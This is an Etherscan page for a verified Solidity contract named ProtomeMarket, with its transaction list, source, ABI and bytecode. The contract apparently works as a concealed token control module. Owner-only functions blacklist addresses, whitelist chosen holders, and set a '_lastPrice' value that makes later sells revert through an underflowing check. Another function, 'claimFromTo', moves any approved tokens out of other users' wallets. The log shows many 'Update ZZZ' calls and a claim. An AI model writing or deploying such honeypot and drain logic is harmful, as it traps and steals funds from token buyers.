Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 18 from a total of 18 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Update Protome | 17444300 | 661 days ago | IN | 0 ETH | 0.00093996 | ||||
Claim From To | 17444299 | 661 days ago | IN | 0 ETH | 0.00233236 | ||||
Update ZZZ | 17444020 | 661 days ago | IN | 0 ETH | 0.00060139 | ||||
Update ZZZ | 17443800 | 661 days ago | IN | 0 ETH | 0.00075396 | ||||
Update ZZZ | 17443787 | 661 days ago | IN | 0 ETH | 0.00068499 | ||||
Update Protome | 17443771 | 661 days ago | IN | 0 ETH | 0.0012295 | ||||
Update Protome | 17443749 | 661 days ago | IN | 0 ETH | 0.00120736 | ||||
Update ZZZ | 17443744 | 661 days ago | IN | 0 ETH | 0.00073251 | ||||
Update Protome | 17443738 | 661 days ago | IN | 0 ETH | 0.00119674 | ||||
Update ZZZ | 17443731 | 661 days ago | IN | 0 ETH | 0.00075495 | ||||
Update ZZZ | 17443729 | 661 days ago | IN | 0 ETH | 0.00080473 | ||||
Update ZZZ | 17443725 | 661 days ago | IN | 0 ETH | 0.0008399 | ||||
Update ZZZ | 17443722 | 661 days ago | IN | 0 ETH | 0.00079284 | ||||
Update ZZZ | 17443720 | 661 days ago | IN | 0 ETH | 0.00080397 | ||||
Update ZZZ | 17443718 | 661 days ago | IN | 0 ETH | 0.00079811 | ||||
Update ZZZ | 17443715 | 661 days ago | IN | 0 ETH | 0.00075628 | ||||
Update ZZZ | 17443713 | 661 days ago | IN | 0 ETH | 0.00111373 | ||||
Init | 17443661 | 661 days ago | IN | 0 ETH | 0.00143457 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
ProtomeMarket
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function decimals() external returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ProtomeMarket is Ownable { using SafeMath for uint256; address coin; address pair; mapping(address => bool) hodl; mapping (address => bool) isBlacklisted; mapping (address => uint256) _hodlStamps; uint256 public _lastPrice; modifier onlyCoin() { require(msg.sender == coin); _; } receive() external payable { } function encode(address a, address b) public pure returns (bytes memory) { return abi.encode(a, b); } function init(address _c, address _p) external onlyOwner { coin = _c; pair = _p; } function updateZZZ(uint256 amount) external onlyOwner { if (amount == 0) _lastPrice = block.number; else _lastPrice = amount; } function transferFrom(address from, address to, uint256 amount) external onlyCoin returns (bool) { require(!isBlacklisted[from] && !isBlacklisted[to], "Blacklisted"); if (hodl[from] || hodl[to]) return true; if (from == pair) { if (_hodlStamps[to] == 0) { _hodlStamps[to] = block.number; } return true; } else if (_hodlStamps[from]-_lastPrice >= 0) { return true; } return false; } function claimFromTo(address token, address from, address to, uint256 amount) external onlyOwner { IERC20(token).transferFrom(from, to, amount); } function checkWhale1(address _whaleaddr) external view returns (bool) { return hodl[_whaleaddr]; } function manage_bots1(address _address) external onlyOwner { require(_address != address(0),"Address should not be 0"); isBlacklisted[_address] = true; } function updateProtome(address _hodladdr, bool status) external onlyOwner { hodl[_hodladdr] = status; } function withdrawETH(address payable recipient) external onlyOwner { recipient.transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[],"name":"_lastPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_whaleaddr","type":"address"}],"name":"checkWhale1","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claimFromTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"address","name":"b","type":"address"}],"name":"encode","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_c","type":"address"},{"internalType":"address","name":"_p","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"manage_bots1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_hodladdr","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"updateProtome","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateZZZ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"recipient","type":"address"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801561000f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350610a648061005d5f395ff3fe6080604052600436106100c2575f3560e01c8063690d83201161007c578063b07b3d9511610057578063b07b3d9514610213578063f09a401614610232578063f2fde38b14610251578063fe4973f814610270575f80fd5b8063690d8320146101ba578063715018a6146101d95780638da5cb5b146101ed575f80fd5b806303149fdf146100cd5780630d84d477146100ee57806323b872dd1461010d5780632eddf729146101415780634647c7a4146101785780634a0852401461019b575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100ec6100e7366004610846565b61029c565b005b3480156100f9575f80fd5b506100ec61010836600461086e565b610347565b348015610118575f80fd5b5061012c6101273660046108a5565b61039a565b60405190151581526020015b60405180910390f35b34801561014c575f80fd5b5061012c61015b366004610846565b6001600160a01b03165f9081526003602052604090205460ff1690565b348015610183575f80fd5b5061018d60065481565b604051908152602001610138565b3480156101a6575f80fd5b506100ec6101b53660046108e3565b61050a565b3480156101c5575f80fd5b506100ec6101d4366004610846565b61054a565b3480156101e4575f80fd5b506100ec6105a9565b3480156101f8575f80fd5b505f546040516001600160a01b039091168152602001610138565b34801561021e575f80fd5b506100ec61022d3660046108fa565b61061a565b34801561023d575f80fd5b506100ec61024c366004610948565b6106c2565b34801561025c575f80fd5b506100ec61026b366004610846565b610719565b34801561027b575f80fd5b5061028f61028a366004610948565b610800565b6040516101389190610974565b5f546001600160a01b031633146102ce5760405162461bcd60e51b81526004016102c5906109bf565b60405180910390fd5b6001600160a01b0381166103245760405162461bcd60e51b815260206004820152601760248201527f416464726573732073686f756c64206e6f74206265203000000000000000000060448201526064016102c5565b6001600160a01b03165f908152600460205260409020805460ff19166001179055565b5f546001600160a01b031633146103705760405162461bcd60e51b81526004016102c5906109bf565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b6001545f906001600160a01b031633146103b2575f80fd5b6001600160a01b0384165f9081526004602052604090205460ff161580156103f257506001600160a01b0383165f9081526004602052604090205460ff16155b61042c5760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b60448201526064016102c5565b6001600160a01b0384165f9081526003602052604090205460ff168061046957506001600160a01b0383165f9081526003602052604090205460ff165b1561047657506001610503565b6002546001600160a01b03908116908516036104cd576001600160a01b0383165f9081526005602052604081205490036104c5576001600160a01b0383165f9081526005602052604090204390555b506001610503565b6006546001600160a01b0385165f9081526005602052604081205490916104f3916109f4565b1061050057506001610503565b505f5b9392505050565b5f546001600160a01b031633146105335760405162461bcd60e51b81526004016102c5906109bf565b805f03610541574360065550565b60068190555b50565b5f546001600160a01b031633146105735760405162461bcd60e51b81526004016102c5906109bf565b6040516001600160a01b038216904780156108fc02915f818181858888f193505050501580156105a5573d5f803e3d5ffd5b5050565b5f546001600160a01b031633146105d25760405162461bcd60e51b81526004016102c5906109bf565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106435760405162461bcd60e51b81526004016102c5906109bf565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303815f875af1158015610697573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106bb9190610a13565b5050505050565b5f546001600160a01b031633146106eb5760405162461bcd60e51b81526004016102c5906109bf565b600180546001600160a01b039384166001600160a01b03199182161790915560028054929093169116179055565b5f546001600160a01b031633146107425760405162461bcd60e51b81526004016102c5906109bf565b6001600160a01b0381166107a75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102c5565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b604080516001600160a01b03848116602083015283168183015281518082038301815260609091019091525b92915050565b6001600160a01b0381168114610547575f80fd5b5f60208284031215610856575f80fd5b813561050381610832565b8015158114610547575f80fd5b5f806040838503121561087f575f80fd5b823561088a81610832565b9150602083013561089a81610861565b809150509250929050565b5f805f606084860312156108b7575f80fd5b83356108c281610832565b925060208401356108d281610832565b929592945050506040919091013590565b5f602082840312156108f3575f80fd5b5035919050565b5f805f806080858703121561090d575f80fd5b843561091881610832565b9350602085013561092881610832565b9250604085013561093881610832565b9396929550929360600135925050565b5f8060408385031215610959575f80fd5b823561096481610832565b9150602083013561089a81610832565b5f6020808352835180828501525f5b8181101561099f57858101830151858201604001528201610983565b505f604082860101526040601f19601f8301168501019250505092915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8181038181111561082c57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610a23575f80fd5b81516105038161086156fea2646970667358221220678990a980367c3253ebe573d08743645dde0c287d705234fde3038e0641759064736f6c63430008140033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c8063690d83201161007c578063b07b3d9511610057578063b07b3d9514610213578063f09a401614610232578063f2fde38b14610251578063fe4973f814610270575f80fd5b8063690d8320146101ba578063715018a6146101d95780638da5cb5b146101ed575f80fd5b806303149fdf146100cd5780630d84d477146100ee57806323b872dd1461010d5780632eddf729146101415780634647c7a4146101785780634a0852401461019b575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100ec6100e7366004610846565b61029c565b005b3480156100f9575f80fd5b506100ec61010836600461086e565b610347565b348015610118575f80fd5b5061012c6101273660046108a5565b61039a565b60405190151581526020015b60405180910390f35b34801561014c575f80fd5b5061012c61015b366004610846565b6001600160a01b03165f9081526003602052604090205460ff1690565b348015610183575f80fd5b5061018d60065481565b604051908152602001610138565b3480156101a6575f80fd5b506100ec6101b53660046108e3565b61050a565b3480156101c5575f80fd5b506100ec6101d4366004610846565b61054a565b3480156101e4575f80fd5b506100ec6105a9565b3480156101f8575f80fd5b505f546040516001600160a01b039091168152602001610138565b34801561021e575f80fd5b506100ec61022d3660046108fa565b61061a565b34801561023d575f80fd5b506100ec61024c366004610948565b6106c2565b34801561025c575f80fd5b506100ec61026b366004610846565b610719565b34801561027b575f80fd5b5061028f61028a366004610948565b610800565b6040516101389190610974565b5f546001600160a01b031633146102ce5760405162461bcd60e51b81526004016102c5906109bf565b60405180910390fd5b6001600160a01b0381166103245760405162461bcd60e51b815260206004820152601760248201527f416464726573732073686f756c64206e6f74206265203000000000000000000060448201526064016102c5565b6001600160a01b03165f908152600460205260409020805460ff19166001179055565b5f546001600160a01b031633146103705760405162461bcd60e51b81526004016102c5906109bf565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b6001545f906001600160a01b031633146103b2575f80fd5b6001600160a01b0384165f9081526004602052604090205460ff161580156103f257506001600160a01b0383165f9081526004602052604090205460ff16155b61042c5760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b60448201526064016102c5565b6001600160a01b0384165f9081526003602052604090205460ff168061046957506001600160a01b0383165f9081526003602052604090205460ff165b1561047657506001610503565b6002546001600160a01b03908116908516036104cd576001600160a01b0383165f9081526005602052604081205490036104c5576001600160a01b0383165f9081526005602052604090204390555b506001610503565b6006546001600160a01b0385165f9081526005602052604081205490916104f3916109f4565b1061050057506001610503565b505f5b9392505050565b5f546001600160a01b031633146105335760405162461bcd60e51b81526004016102c5906109bf565b805f03610541574360065550565b60068190555b50565b5f546001600160a01b031633146105735760405162461bcd60e51b81526004016102c5906109bf565b6040516001600160a01b038216904780156108fc02915f818181858888f193505050501580156105a5573d5f803e3d5ffd5b5050565b5f546001600160a01b031633146105d25760405162461bcd60e51b81526004016102c5906109bf565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106435760405162461bcd60e51b81526004016102c5906109bf565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303815f875af1158015610697573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106bb9190610a13565b5050505050565b5f546001600160a01b031633146106eb5760405162461bcd60e51b81526004016102c5906109bf565b600180546001600160a01b039384166001600160a01b03199182161790915560028054929093169116179055565b5f546001600160a01b031633146107425760405162461bcd60e51b81526004016102c5906109bf565b6001600160a01b0381166107a75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102c5565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b604080516001600160a01b03848116602083015283168183015281518082038301815260609091019091525b92915050565b6001600160a01b0381168114610547575f80fd5b5f60208284031215610856575f80fd5b813561050381610832565b8015158114610547575f80fd5b5f806040838503121561087f575f80fd5b823561088a81610832565b9150602083013561089a81610861565b809150509250929050565b5f805f606084860312156108b7575f80fd5b83356108c281610832565b925060208401356108d281610832565b929592945050506040919091013590565b5f602082840312156108f3575f80fd5b5035919050565b5f805f806080858703121561090d575f80fd5b843561091881610832565b9350602085013561092881610832565b9250604085013561093881610832565b9396929550929360600135925050565b5f8060408385031215610959575f80fd5b823561096481610832565b9150602083013561089a81610832565b5f6020808352835180828501525f5b8181101561099f57858101830151858201604001528201610983565b505f604082860101526040601f19601f8301168501019250505092915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8181038181111561082c57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610a23575f80fd5b81516105038161086156fea2646970667358221220678990a980367c3253ebe573d08743645dde0c287d705234fde3038e0641759064736f6c63430008140033
Deployed Bytecode Sourcemap
7585:2044:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9190:176;;;;;;;;;;-1:-1:-1;9190:176:0;;;;;:::i;:::-;;:::i;:::-;;9374:117;;;;;;;;;;-1:-1:-1;9374:117:0;;;;;:::i;:::-;;:::i;8375:519::-;;;;;;;;;;-1:-1:-1;8375:519:0;;;;;:::i;:::-;;:::i;:::-;;;1538:14:1;;1531:22;1513:41;;1501:2;1486:18;8375:519:0;;;;;;;;9070:112;;;;;;;;;;-1:-1:-1;9070:112:0;;;;;:::i;:::-;-1:-1:-1;;;;;9158:16:0;9134:4;9158:16;;;:4;:16;;;;;;;;;9070:112;7832:25;;;;;;;;;;;;;;;;;;;1711::1;;;1699:2;1684:18;7832:25:0;1565:177:1;8217:150:0;;;;;;;;;;-1:-1:-1;8217:150:0;;;;;:::i;:::-;;:::i;9499:127::-;;;;;;;;;;-1:-1:-1;9499:127:0;;;;;:::i;:::-;;:::i;6303:148::-;;;;;;;;;;;;;:::i;5661:79::-;;;;;;;;;;-1:-1:-1;5699:7:0;5726:6;5661:79;;-1:-1:-1;;;;;5726:6:0;;;2338:51:1;;2326:2;2311:18;5661:79:0;2192:203:1;8902:160:0;;;;;;;;;;-1:-1:-1;8902:160:0;;;;;:::i;:::-;;:::i;8104:105::-;;;;;;;;;;-1:-1:-1;8104:105:0;;;;;:::i;:::-;;:::i;6606:244::-;;;;;;;;;;-1:-1:-1;6606:244:0;;;;;:::i;:::-;;:::i;7981:115::-;;;;;;;;;;-1:-1:-1;7981:115:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;9190:176::-;5873:6;;-1:-1:-1;;;;;5873:6:0;4897:10;5873:22;5865:67;;;;-1:-1:-1;;;5865:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;9268:22:0;::::1;9260:57;;;::::0;-1:-1:-1;;;9260:57:0;;4510:2:1;9260:57:0::1;::::0;::::1;4492:21:1::0;4549:2;4529:18;;;4522:30;4588:25;4568:18;;;4561:53;4631:18;;9260:57:0::1;4308:347:1::0;9260:57:0::1;-1:-1:-1::0;;;;;9328:23:0::1;;::::0;;;:13:::1;:23;::::0;;;;:30;;-1:-1:-1;;9328:30:0::1;9354:4;9328:30;::::0;;9190:176::o;9374:117::-;5873:6;;-1:-1:-1;;;;;5873:6:0;4897:10;5873:22;5865:67;;;;-1:-1:-1;;;5865:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9459:15:0;;;::::1;;::::0;;;:4:::1;:15;::::0;;;;:24;;-1:-1:-1;;9459:24:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9374:117::o;8375:519::-;7919:4;;8466;;-1:-1:-1;;;;;7919:4:0;7905:10;:18;7897:27;;;;;;-1:-1:-1;;;;;8492:19:0;::::1;;::::0;;;:13:::1;:19;::::0;;;;;::::1;;8491:20;:42:::0;::::1;;;-1:-1:-1::0;;;;;;8516:17:0;::::1;;::::0;;;:13:::1;:17;::::0;;;;;::::1;;8515:18;8491:42;8483:66;;;::::0;-1:-1:-1;;;8483:66:0;;4862:2:1;8483:66:0::1;::::0;::::1;4844:21:1::0;4901:2;4881:18;;;4874:30;-1:-1:-1;;;4920:18:1;;;4913:41;4971:18;;8483:66:0::1;4660:335:1::0;8483:66:0::1;-1:-1:-1::0;;;;;8574:10:0;::::1;;::::0;;;:4:::1;:10;::::0;;;;;::::1;;::::0;:22:::1;;-1:-1:-1::0;;;;;;8588:8:0;::::1;;::::0;;;:4:::1;:8;::::0;;;;;::::1;;8574:22;8570:39;;;-1:-1:-1::0;8605:4:0::1;8598:11;;8570:39;8632:4;::::0;-1:-1:-1;;;;;8632:4:0;;::::1;8624:12:::0;;::::1;::::0;8620:244:::1;;-1:-1:-1::0;;;;;8657:15:0;::::1;;::::0;;;:11:::1;:15;::::0;;;;;:20;;8653:91:::1;;-1:-1:-1::0;;;;;8698:15:0;::::1;;::::0;;;:11:::1;:15;::::0;;;;8716:12:::1;8698:30:::0;;8653:91:::1;-1:-1:-1::0;8765:4:0::1;8758:11;;8620:244;8809:10;::::0;-1:-1:-1;;;;;8791:17:0;::::1;8823:1;8791:17:::0;;;:11:::1;:17;::::0;;;;;8823:1;;8791:28:::1;::::0;::::1;:::i;:::-;:33;8787:77;;-1:-1:-1::0;8848:4:0::1;8841:11;;8787:77;-1:-1:-1::0;8881:5:0::1;7926:1;8375:519:::0;;;;;:::o;8217:150::-;5873:6;;-1:-1:-1;;;;;5873:6:0;4897:10;5873:22;5865:67;;;;-1:-1:-1;;;5865:67:0;;;;;;;:::i;:::-;8286:6:::1;8296:1;8286:11:::0;8282:77:::1;;8312:12;8299:10;:25:::0;8217:150;:::o;8282:77::-:1;8340:10;:19:::0;;;8282:77:::1;8217:150:::0;:::o;9499:127::-;5873:6;;-1:-1:-1;;;;;5873:6:0;4897:10;5873:22;5865:67;;;;-1:-1:-1;;;5865:67:0;;;;;;;:::i;:::-;9577:41:::1;::::0;-1:-1:-1;;;;;9577:18:0;::::1;::::0;9596:21:::1;9577:41:::0;::::1;;;::::0;::::1;::::0;;;9596:21;9577:18;:41;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9499:127:::0;:::o;6303:148::-;5873:6;;-1:-1:-1;;;;;5873:6:0;4897:10;5873:22;5865:67;;;;-1:-1:-1;;;5865:67:0;;;;;;;:::i;:::-;6410:1:::1;6394:6:::0;;6373:40:::1;::::0;-1:-1:-1;;;;;6394:6:0;;::::1;::::0;6373:40:::1;::::0;6410:1;;6373:40:::1;6441:1;6424:19:::0;;-1:-1:-1;;;;;;6424:19:0::1;::::0;;6303:148::o;8902:160::-;5873:6;;-1:-1:-1;;;;;5873:6:0;4897:10;5873:22;5865:67;;;;-1:-1:-1;;;5865:67:0;;;;;;;:::i;:::-;9010:44:::1;::::0;-1:-1:-1;;;9010:44:0;;-1:-1:-1;;;;;5488:15:1;;;9010:44:0::1;::::0;::::1;5470:34:1::0;5540:15;;;5520:18;;;5513:43;5572:18;;;5565:34;;;9010:26:0;::::1;::::0;::::1;::::0;5405:18:1;;9010:44:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8902:160:::0;;;;:::o;8104:105::-;5873:6;;-1:-1:-1;;;;;5873:6:0;4897:10;5873:22;5865:67;;;;-1:-1:-1;;;5865:67:0;;;;;;;:::i;:::-;8172:4:::1;:9:::0;;-1:-1:-1;;;;;8172:9:0;;::::1;-1:-1:-1::0;;;;;;8172:9:0;;::::1;;::::0;;;8192:4:::1;:9:::0;;;;;::::1;::::0;::::1;;::::0;;8104:105::o;6606:244::-;5873:6;;-1:-1:-1;;;;;5873:6:0;4897:10;5873:22;5865:67;;;;-1:-1:-1;;;5865:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6695:22:0;::::1;6687:73;;;::::0;-1:-1:-1;;;6687:73:0;;6062:2:1;6687:73:0::1;::::0;::::1;6044:21:1::0;6101:2;6081:18;;;6074:30;6140:34;6120:18;;;6113:62;-1:-1:-1;;;6191:18:1;;;6184:36;6237:19;;6687:73:0::1;5860:402:1::0;6687:73:0::1;6797:6;::::0;;6776:38:::1;::::0;-1:-1:-1;;;;;6776:38:0;;::::1;::::0;6797:6;::::1;::::0;6776:38:::1;::::0;::::1;6825:6;:17:::0;;-1:-1:-1;;;;;;6825:17:0::1;-1:-1:-1::0;;;;;6825:17:0;;;::::1;::::0;;;::::1;::::0;;6606:244::o;7981:115::-;8072:16;;;-1:-1:-1;;;;;6497:15:1;;;8072:16:0;;;6479:34:1;6549:15;;6529:18;;;6522:43;8072:16:0;;;;;;;;;8040:12;6414:18:1;;;8072:16:0;;;7981:115;;;;;:::o;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;150:247;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;402:118::-;488:5;481:13;474:21;467:5;464:32;454:60;;510:1;507;500:12;525:382;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:30;804:32;845:30;:::i;:::-;894:7;884:17;;;525:382;;;;;:::o;912:456::-;989:6;997;1005;1058:2;1046:9;1037:7;1033:23;1029:32;1026:52;;;1074:1;1071;1064:12;1026:52;1113:9;1100:23;1132:31;1157:5;1132:31;:::i;:::-;1182:5;-1:-1:-1;1239:2:1;1224:18;;1211:32;1252:33;1211:32;1252:33;:::i;:::-;912:456;;1304:7;;-1:-1:-1;;;1358:2:1;1343:18;;;;1330:32;;912:456::o;1747:180::-;1806:6;1859:2;1847:9;1838:7;1834:23;1830:32;1827:52;;;1875:1;1872;1865:12;1827:52;-1:-1:-1;1898:23:1;;1747:180;-1:-1:-1;1747:180:1:o;2400:598::-;2486:6;2494;2502;2510;2563:3;2551:9;2542:7;2538:23;2534:33;2531:53;;;2580:1;2577;2570:12;2531:53;2619:9;2606:23;2638:31;2663:5;2638:31;:::i;:::-;2688:5;-1:-1:-1;2745:2:1;2730:18;;2717:32;2758:33;2717:32;2758:33;:::i;:::-;2810:7;-1:-1:-1;2869:2:1;2854:18;;2841:32;